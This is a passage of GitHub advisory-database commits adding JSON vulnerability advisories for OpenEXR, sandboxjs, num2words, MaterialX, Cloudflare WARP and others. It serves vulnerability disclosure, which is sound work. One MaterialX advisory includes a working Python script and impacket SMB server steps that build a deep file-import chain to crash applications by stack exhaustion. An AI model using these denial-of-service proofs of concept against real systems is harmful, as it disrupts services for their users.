::resizeEraseUnsafe` passing the `dataWindow` X and Y coordinates and perform a huge allocation.\n\nOn some system, the allocator will simply return `std::bad_alloc` and crash. On other systems such as macOS, the allocator will happily continue with a \"small\" pre-allocation and allocate further memory whenever it is accessed.\nThis is the case with the `EnvmapImage::clear` function that is called right after and fills the image RGB values with zeros, allocating tens of Gigabytes.\n\n### PoC\n\nNOTE: please download the `oom_crash.exr` file via the following link:\n \nhttps://github.com/ShielderSec/poc/tree/main/CVE-2025-48074\n\n1. Compile the `exrcheck` binary in a macOS or GNU/Linux machine with ASAN.\n2. Open the `oom_crash.exr` file with the following command:\n\n```\nexrcheck oom_crash.exr\n```\n\n3. Notice that `exrenvmap`/`exrcheck` crashes with ASAN stack-trace.\n\n### Impact\nAn attacker could cause a denial of service by stalling the application or exhaust memory by stalling the application in a loop which contains a memory leakage.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "PyPI",
+ "name": "OpenEXR"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "3.3.2"
+ },
+ {
+ "fixed": "3.3.3"
+ }
+ ]
+ }
+ ],
+ "versions": [
+ "3.3.2"
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-x22w-82jp-8rvf"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/AcademySoftwareFoundation/openexr"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/ShielderSec/poc/tree/main/CVE-2025-48074"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-770"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-07-31T19:23:18Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
From c17457fb973f09f94fbf2fc56ef5d2846acc2e83 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Thu, 31 Jul 2025 19:30:08 +0000
Subject: [PATCH 284/323] Publish GHSA-9qm3-6qrr-c76m
---
.../GHSA-9qm3-6qrr-c76m.json | 35 ++++++++++++++++---
1 file changed, 30 insertions(+), 5 deletions(-)
rename advisories/{unreviewed => github-reviewed}/2025/07/GHSA-9qm3-6qrr-c76m/GHSA-9qm3-6qrr-c76m.json (69%)
diff --git a/advisories/unreviewed/2025/07/GHSA-9qm3-6qrr-c76m/GHSA-9qm3-6qrr-c76m.json b/advisories/github-reviewed/2025/07/GHSA-9qm3-6qrr-c76m/GHSA-9qm3-6qrr-c76m.json
similarity index 69%
rename from advisories/unreviewed/2025/07/GHSA-9qm3-6qrr-c76m/GHSA-9qm3-6qrr-c76m.json
rename to advisories/github-reviewed/2025/07/GHSA-9qm3-6qrr-c76m/GHSA-9qm3-6qrr-c76m.json
index e87af9e7ea022..4c515942578d6 100644
--- a/advisories/unreviewed/2025/07/GHSA-9qm3-6qrr-c76m/GHSA-9qm3-6qrr-c76m.json
+++ b/advisories/github-reviewed/2025/07/GHSA-9qm3-6qrr-c76m/GHSA-9qm3-6qrr-c76m.json
@@ -1,19 +1,40 @@
{
"schema_version": "1.4.0",
"id": "GHSA-9qm3-6qrr-c76m",
- "modified": "2025-07-31T15:35:50Z",
+ "modified": "2025-07-31T19:28:27Z",
"published": "2025-07-31T15:35:50Z",
"aliases": [
"CVE-2025-34146"
],
+ "summary": "@nyariv/sandboxjs has Prototype Pollution vulnerability that may lead to RCE",
"details": "A prototype pollution vulnerability exists in @nyariv/sandboxjs versions <= 0.8.23, allowing attackers to inject arbitrary properties into Object.prototype via crafted JavaScript code. This can result in a denial-of-service (DoS) condition or, under certain conditions, escape the sandboxed environment intended to restrict code execution. The vulnerability stems from insufficient prototype access checks in the sandbox’s executor logic, particularly in the handling of JavaScript function objects returned.",
"severity": [
{
"type": "CVSS_V4",
- "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "@nyariv/sandboxjs"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.8.24"
+ }
+ ]
+ }
+ ]
}
],
- "affected": [],
"references": [
{
"type": "ADVISORY",
@@ -27,6 +48,10 @@
"type": "WEB",
"url": "https://gist.github.com/Hagrid29/9df27829a491080f923c4f6b8518d7e3"
},
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/nyariv/SandboxJS"
+ },
{
"type": "WEB",
"url": "https://www.npmjs.com/package/@nyariv/sandboxjs"
@@ -41,8 +66,8 @@
"CWE-1321"
],
"severity": "HIGH",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-07-31T19:28:27Z",
"nvd_published_at": "2025-07-31T15:15:36Z"
}
}
\ No newline at end of file
From 84503eef123bb748d2fcb3e0a4fcd5f161d0f702 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Thu, 31 Jul 2025 19:35:59 +0000
Subject: [PATCH 285/323] Publish GHSA-jxr6-qrxx-2ph2
---
.../GHSA-jxr6-qrxx-2ph2.json | 63 +++++++++++++++++++
1 file changed, 63 insertions(+)
create mode 100644 advisories/github-reviewed/2025/07/GHSA-jxr6-qrxx-2ph2/GHSA-jxr6-qrxx-2ph2.json
diff --git a/advisories/github-reviewed/2025/07/GHSA-jxr6-qrxx-2ph2/GHSA-jxr6-qrxx-2ph2.json b/advisories/github-reviewed/2025/07/GHSA-jxr6-qrxx-2ph2/GHSA-jxr6-qrxx-2ph2.json
new file mode 100644
index 0000000000000..aa284a7759582
--- /dev/null
+++ b/advisories/github-reviewed/2025/07/GHSA-jxr6-qrxx-2ph2/GHSA-jxr6-qrxx-2ph2.json
@@ -0,0 +1,63 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-jxr6-qrxx-2ph2",
+ "modified": "2025-07-31T19:33:29Z",
+ "published": "2025-07-31T19:33:29Z",
+ "aliases": [],
+ "summary": "num2words subjected to phishing attack, two versions published containing malware",
+ "details": "The `num2words` project was compromised via a phishing attack and two new versions were uploaded to PyPI containing malicious code. The affected versions have been removed from PyPI, and users are advised to remove the affected versions from their environments.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "PyPI",
+ "name": "num2words"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0.5.15"
+ },
+ {
+ "last_affected": "0.5.16"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/pypa/advisory-database/tree/main/vulns/num2words/PYSEC-2025-72.yaml"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/savoirfairelinux/num2words"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nitter.tiekoetter.com/SFLinux/status/1949906299308953827"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.stepsecurity.io/blog/supply-chain-security-alert-num2words-pypi-package-shows-signs-of-compromise"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-506"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-07-31T19:33:29Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
From abe9853a2d29cbda77c4d615d4c6ae4cb068509a Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Thu, 31 Jul 2025 19:39:23 +0000
Subject: [PATCH 286/323] Publish Advisories
GHSA-qc2h-74x3-4v3w
GHSA-wx6g-fm6f-w822
---
.../GHSA-qc2h-74x3-4v3w.json | 64 +++++++++++++++++++
.../GHSA-wx6g-fm6f-w822.json | 64 +++++++++++++++++++
2 files changed, 128 insertions(+)
create mode 100644 advisories/github-reviewed/2025/07/GHSA-qc2h-74x3-4v3w/GHSA-qc2h-74x3-4v3w.json
create mode 100644 advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json
diff --git a/advisories/github-reviewed/2025/07/GHSA-qc2h-74x3-4v3w/GHSA-qc2h-74x3-4v3w.json b/advisories/github-reviewed/2025/07/GHSA-qc2h-74x3-4v3w/GHSA-qc2h-74x3-4v3w.json
new file mode 100644
index 0000000000000..043222b5b5a19
--- /dev/null
+++ b/advisories/github-reviewed/2025/07/GHSA-qc2h-74x3-4v3w/GHSA-qc2h-74x3-4v3w.json
@@ -0,0 +1,64 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-qc2h-74x3-4v3w",
+ "modified": "2025-07-31T19:37:51Z",
+ "published": "2025-07-31T19:37:51Z",
+ "aliases": [
+ "CVE-2025-53012"
+ ],
+ "summary": "MaterialX Lack of MTLX Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion",
+ "details": "### Summary\nNested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the \"import chain\" depth.\n\n### Details\nThe MaterialX [specification](https://github.com/AcademySoftwareFoundation/MaterialX/blob/main/documents/Specification/MaterialX.Specification.md#mtlx-file-format-definition) supports importing other files by using `XInclude` tags.\n\nWhen parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.\n\nHowever, there is no limit imposed to the depth of files that\ncan be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.\n\n### PoC\nThis test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single `.mtlx` file being parsed.\n\nNote that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.\n\nIn order to reproduce this test, please follow the steps below:\n\n1. Compile or download the MaterialXView application in a Windows machine\n2. In a separate Linux machine in the same local network, install the `impacket` package (the documentation of the package suggests using `pipx`, as in `python3 -m pipx install impacket\n`). \n3. In the Linux machine, create a file named `template.mtlx` with the following content:\n```xml\n\n\n \n \n \n \n \n \n```\n4. In the same directory, create a file named `script.py` with the following content:\n```python\nimport argparse\nimport uuid\nimport os\nfrom pathlib import Path\n\nMAX_FILES_PER_DIR = 1024\nMAX_DIRECTORIES = 1024\n\ndef uuid_generator(count):\n for _ in range(count):\n yield str(uuid.uuid4())\n\ndef get_dir_and_file_count(total_files):\n num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR\n if num_dirs > MAX_DIRECTORIES:\n raise ValueError(f\"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}\")\n return num_dirs\n\ndef create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):\n with open(template_path, 'r') as f:\n template_content = f.read()\n \n Path(output_dir).mkdir(parents=True, exist_ok=True)\n \n dir_count = get_dir_and_file_count(num_iterations)\n dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]\n \n for dir_uuid in dir_uuids:\n Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)\n \n uuid_gen = uuid_generator(num_iterations)\n next_uuid = next(uuid_gen)\n first_file_path = None\n\n for i in range(num_iterations):\n current_uuid = next_uuid\n next_uuid = next(uuid_gen) if i < num_iterations - 1 else \"FINAL\"\n \n dir_index = i // MAX_FILES_PER_DIR\n dir_uuid = dir_uuids[dir_index]\n \n if next_uuid != \"FINAL\":\n next_dir_index = (i + 1) // MAX_FILES_PER_DIR\n next_dir_uuid = dir_uuids[next_dir_index]\n include_path = f\"{share_name}\\\\{next_dir_uuid}\\\\{next_uuid}\"\n else:\n include_path = next_uuid\n \n content = template_content.replace(\"{ip}\", ip_address)\n content = content.replace(\"{name}\", include_path)\n \n output_path = os.path.join(output_dir, dir_uuid, f\"{current_uuid}.mtlx\")\n with open(output_path, 'w') as f:\n f.write(content)\n\n if i == 0:\n first_file_path = f\"\\\\\\\\{ip_address}\\\\{share_name}\\\\{dir_uuid}\\\\{current_uuid}.mtlx\"\n print(f\"First file created at UNC path: {first_file_path}\")\n\ndef main():\n parser = argparse.ArgumentParser(description='Generate chain of MaterialX files')\n parser.add_argument('template', help='Path to template MaterialX file')\n parser.add_argument('output_dir', help='Output directory for generated files')\n parser.add_argument('ip_address', help='IP address to use in file paths')\n parser.add_argument('share_name', help='Share name to use in file paths')\n parser.add_argument('--iterations', type=int, default=10,\n help='Number of files to generate (default: 10)')\n \n args = parser.parse_args()\n \n if args.iterations > MAX_FILES_PER_DIR * MAX_DIRECTORIES:\n print(f\"Error: Maximum number of files is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}\")\n return\n \n create_materialx_chain(\n args.template,\n args.output_dir,\n args.ip_address,\n args.share_name,\n args.iterations\n )\n\nif __name__ == \"__main__\":\n main()\n```\n5. Run the python script with the following command line, replacing the `$IP` placeholder with the IP address of your interface (the command will take some time to execute): `python3 script.py --iterations 1048576 template.mtlx chain $IP chain`\n - This will print, in the console, a line documenting the UNC path of the first file of the chain. Copy that path in the clipboard.\n6. Spawn the SMB server by executing the following command line: `pipx run --spec impacket smbserver.py -smb2support chain chain/`\n7. In the Windows machine, create a MaterialX file with the following content, replacing the `$UNCPATH` placeholder with the content of the path printed at step 5:\n```\n\n\n \n \n \n \n \n \n```\n8. Load the MaterialX file in MaterialXView\n9. Notice that the viewer doesn't respond anymore. After some minutes, notice that the viewer crashes, demonstrating the Stack Exhaustion\n\nNote: by consulting the Windows `Event Viewer`, it is possible to examine the application crash, verifying that it is indeed crashing with a `STATUS_STACK_OVERFLOW (0xc00000fd)`.\n\n### Impact\n\nAn attacker exploiting this vulnerability would be able to intentionally stall and crash an application reading MaterialX files controlled by them.\n\nIn Windows, the attack complexity is lower, since the malicious MaterialX file can reference remote paths via the UNC notation. However, the attack would work in other systems as well, provided that the attacker can write an arbitrary amount of MaterialX files (implementing the chain) in the local file system.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "PyPI",
+ "name": "MaterialX"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "1.39.2"
+ },
+ {
+ "fixed": "1.39.3"
+ }
+ ]
+ }
+ ],
+ "versions": [
+ "1.39.2"
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX/security/advisories/GHSA-qc2h-74x3-4v3w"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX/blob/main/documents/Specification/MaterialX.Specification.md#mtlx-file-format-definition"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-400"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-07-31T19:37:51Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json b/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json
new file mode 100644
index 0000000000000..19e52cca5edf2
--- /dev/null
+++ b/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json
@@ -0,0 +1,64 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-wx6g-fm6f-w822",
+ "modified": "2025-07-31T19:37:48Z",
+ "published": "2025-07-31T19:37:48Z",
+ "aliases": [
+ "CVE-2025-53009"
+ ],
+ "summary": "MaterialX Stack Overflow via Lack of MTLX XML Parsing Recursion Limit ",
+ "details": "### Summary\n\nWhen parsing an MTLX file with multiple nested `nodegraph` implementations, the MaterialX XML parsing logic can potentially crash due to stack exhaustion.\n\n### Details\n\nBy specification, multiple kinds of elements in MTLX support nesting other elements, such as in the case of `nodegraph` elements. Parsing these subtrees is implemented via recursion, and since there is no max depth imposed on the XML document, this can lead to a stack overflow when the library parses an MTLX file with an excessively high number of nested elements.\n\n### PoC\n\nPlease download the `recursion_overflow.mtlx` file from the following link: \n\nhttps://github.com/ShielderSec/poc/tree/main/CVE-2025-53009\n\n`build/bin/MaterialXView --material recursion_overflow.mtlx`\n\n\n### Impact\nAn attacker could intentionally crash a target program that uses OpenEXR by sending a malicious MTLX file.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "PyPI",
+ "name": "MaterialX"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "1.39.2"
+ },
+ {
+ "fixed": "1.39.3"
+ }
+ ]
+ }
+ ],
+ "versions": [
+ "1.39.2"
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX/security/advisories/GHSA-wx6g-fm6f-w822"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/ShielderSec/poc/tree/main/CVE-2025-53009"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-07-31T19:37:48Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
From 41c89aad20a757a7e7c6d80d26b72011fcd72f07 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Thu, 31 Jul 2025 21:33:13 +0000
Subject: [PATCH 287/323] Advisory Database Sync
---
.../GHSA-q5q7-8x6x-hcg2.json | 6 ++-
.../GHSA-9g4q-mq35-ffg3.json | 6 ++-
.../GHSA-w2xg-49x3-6w59.json | 7 ++-
.../GHSA-2x45-7fc3-mxwq.json | 44 +++++++++++++++++
.../GHSA-32gv-r223-hpr7.json | 15 ++++--
.../GHSA-5qv2-823h-cg9j.json | 40 ++++++++++++++++
.../GHSA-6fpv-q3vm-j4gh.json | 15 ++++--
.../GHSA-6vjc-2rp5-c2hr.json | 15 ++++--
.../GHSA-75pq-m89c-9h5r.json | 15 ++++--
.../GHSA-782f-gxj5-xvqc.json | 15 ++++--
.../GHSA-7hhp-cmgc-52fj.json | 36 ++++++++++++++
.../GHSA-7rf9-h4hc-6359.json | 48 +++++++++++++++++++
.../GHSA-8xpj-x7cg-qg43.json | 44 +++++++++++++++++
.../GHSA-c2ff-5p35-6q77.json | 15 ++++--
.../GHSA-cmjc-2g23-9m8c.json | 15 ++++--
.../GHSA-g74q-gh4w-3jmf.json | 15 ++++--
.../GHSA-gcm8-8cp3-3x4h.json | 15 ++++--
.../GHSA-hp45-3w87-63c3.json | 44 +++++++++++++++++
.../GHSA-hq48-r775-f9j2.json | 15 ++++--
.../GHSA-j3vg-9hrg-5754.json | 34 +++++++++++++
.../GHSA-j927-gjfr-7859.json | 15 ++++--
.../GHSA-pv6m-hmr7-w8g8.json | 36 ++++++++++++++
.../GHSA-q4xj-79jm-5gwm.json | 15 ++++--
.../GHSA-r8fm-999q-9fw9.json | 36 ++++++++++++++
.../GHSA-rgc6-fx99-2prh.json | 36 ++++++++++++++
.../GHSA-rq5x-mmcc-mgvx.json | 44 +++++++++++++++++
.../GHSA-v78w-vpxh-p52w.json | 15 ++++--
.../GHSA-wc34-p4fh-wr9q.json | 44 +++++++++++++++++
.../GHSA-wqcc-7crj-3p76.json | 15 ++++--
.../GHSA-wr2x-xq5x-p5vf.json | 15 ++++--
.../GHSA-x7rh-jcrp-8fwf.json | 44 +++++++++++++++++
.../GHSA-xpf8-484v-j9w6.json | 44 +++++++++++++++++
.../GHSA-xxcm-4v4p-f9rr.json | 36 ++++++++++++++
33 files changed, 791 insertions(+), 63 deletions(-)
create mode 100644 advisories/unreviewed/2025/07/GHSA-2x45-7fc3-mxwq/GHSA-2x45-7fc3-mxwq.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-5qv2-823h-cg9j/GHSA-5qv2-823h-cg9j.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-7hhp-cmgc-52fj/GHSA-7hhp-cmgc-52fj.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-7rf9-h4hc-6359/GHSA-7rf9-h4hc-6359.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-8xpj-x7cg-qg43/GHSA-8xpj-x7cg-qg43.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-hp45-3w87-63c3/GHSA-hp45-3w87-63c3.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-j3vg-9hrg-5754/GHSA-j3vg-9hrg-5754.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-pv6m-hmr7-w8g8/GHSA-pv6m-hmr7-w8g8.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-r8fm-999q-9fw9/GHSA-r8fm-999q-9fw9.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-rgc6-fx99-2prh/GHSA-rgc6-fx99-2prh.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-rq5x-mmcc-mgvx/GHSA-rq5x-mmcc-mgvx.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-wc34-p4fh-wr9q/GHSA-wc34-p4fh-wr9q.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-x7rh-jcrp-8fwf/GHSA-x7rh-jcrp-8fwf.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-xpf8-484v-j9w6/GHSA-xpf8-484v-j9w6.json
create mode 100644 advisories/unreviewed/2025/07/GHSA-xxcm-4v4p-f9rr/GHSA-xxcm-4v4p-f9rr.json
diff --git a/advisories/github-reviewed/2025/05/GHSA-q5q7-8x6x-hcg2/GHSA-q5q7-8x6x-hcg2.json b/advisories/github-reviewed/2025/05/GHSA-q5q7-8x6x-hcg2/GHSA-q5q7-8x6x-hcg2.json
index d4a42c95bfa72..910e52654a7a0 100644
--- a/advisories/github-reviewed/2025/05/GHSA-q5q7-8x6x-hcg2/GHSA-q5q7-8x6x-hcg2.json
+++ b/advisories/github-reviewed/2025/05/GHSA-q5q7-8x6x-hcg2/GHSA-q5q7-8x6x-hcg2.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-q5q7-8x6x-hcg2",
- "modified": "2025-07-31T18:31:56Z",
+ "modified": "2025-07-31T21:31:32Z",
"published": "2025-05-26T12:30:30Z",
"aliases": [
"CVE-2025-4057"
@@ -52,6 +52,10 @@
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:12355"
},
+ {
+ "type": "WEB",
+ "url": "https://access.redhat.com/errata/RHSA-2025:12473"
+ },
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:8147"
diff --git a/advisories/unreviewed/2025/01/GHSA-9g4q-mq35-ffg3/GHSA-9g4q-mq35-ffg3.json b/advisories/unreviewed/2025/01/GHSA-9g4q-mq35-ffg3/GHSA-9g4q-mq35-ffg3.json
index 62c3d25403c68..34d612b1e479e 100644
--- a/advisories/unreviewed/2025/01/GHSA-9g4q-mq35-ffg3/GHSA-9g4q-mq35-ffg3.json
+++ b/advisories/unreviewed/2025/01/GHSA-9g4q-mq35-ffg3/GHSA-9g4q-mq35-ffg3.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-9g4q-mq35-ffg3",
- "modified": "2025-01-22T18:31:56Z",
+ "modified": "2025-07-31T21:31:32Z",
"published": "2025-01-22T18:31:56Z",
"aliases": [
"CVE-2025-0651"
],
"details": "Improper Privilege Management vulnerability in Cloudflare WARP on Windows allows File Manipulation.\n\nUser with a low system privileges can create a set of symlinks inside the C:\\ProgramData\\Cloudflare\\warp-diag-partials folder. After triggering the 'Reset all settings\" option the WARP service will delete the files that the symlink was pointing to. Given the WARP service operates with System privileges this might lead to deleting files owned by the System user.\nThis issue affects WARP: before 2024.12.492.0.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:X/R:U/V:X/RE:L/U:Green"
diff --git a/advisories/unreviewed/2025/01/GHSA-w2xg-49x3-6w59/GHSA-w2xg-49x3-6w59.json b/advisories/unreviewed/2025/01/GHSA-w2xg-49x3-6w59/GHSA-w2xg-49x3-6w59.json
index f655e8a5ce848..96441c1c8daec 100644
--- a/advisories/unreviewed/2025/01/GHSA-w2xg-49x3-6w59/GHSA-w2xg-49x3-6w59.json
+++ b/advisories/unreviewed/2025/01/GHSA-w2xg-49x3-6w59/GHSA-w2xg-49x3-6w59.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-w2xg-49x3-6w59",
- "modified": "2025-02-24T12:31:59Z",
+ "modified": "2025-07-31T21:31:32Z",
"published": "2025-01-30T21:31:22Z",
"aliases": [
"CVE-2024-10026"
],
"details": "A weak hashing algorithm and small sizes of seeds/secrets in Google's gVisor allowed for a remote attacker to calculate a local IP address and a per-boot identifier that could aid in tracking of a device in certain circumstances.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
@@ -38,6 +42,7 @@
],
"database_specific": {
"cwe_ids": [
+ "CWE-326",
"CWE-328"
],
"severity": "MODERATE",
diff --git a/advisories/unreviewed/2025/07/GHSA-2x45-7fc3-mxwq/GHSA-2x45-7fc3-mxwq.json b/advisories/unreviewed/2025/07/GHSA-2x45-7fc3-mxwq/GHSA-2x45-7fc3-mxwq.json
new file mode 100644
index 0000000000000..9f2d0a3d1768a
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-2x45-7fc3-mxwq/GHSA-2x45-7fc3-mxwq.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-2x45-7fc3-mxwq",
+ "modified": "2025-07-31T21:31:53Z",
+ "published": "2025-07-31T21:31:53Z",
+ "aliases": [
+ "CVE-2025-45769"
+ ],
+ "details": "php-jwt v6.11.0 was discovered to contain weak encryption.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45769"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/ZupeiNie/83756316c4c24fe97a50176a92608db3"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/firebase"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/firebase/php-jwt"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-326"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T20:15:33Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-32gv-r223-hpr7/GHSA-32gv-r223-hpr7.json b/advisories/unreviewed/2025/07/GHSA-32gv-r223-hpr7/GHSA-32gv-r223-hpr7.json
index ea309edf11a2b..a751f60b969c2 100644
--- a/advisories/unreviewed/2025/07/GHSA-32gv-r223-hpr7/GHSA-32gv-r223-hpr7.json
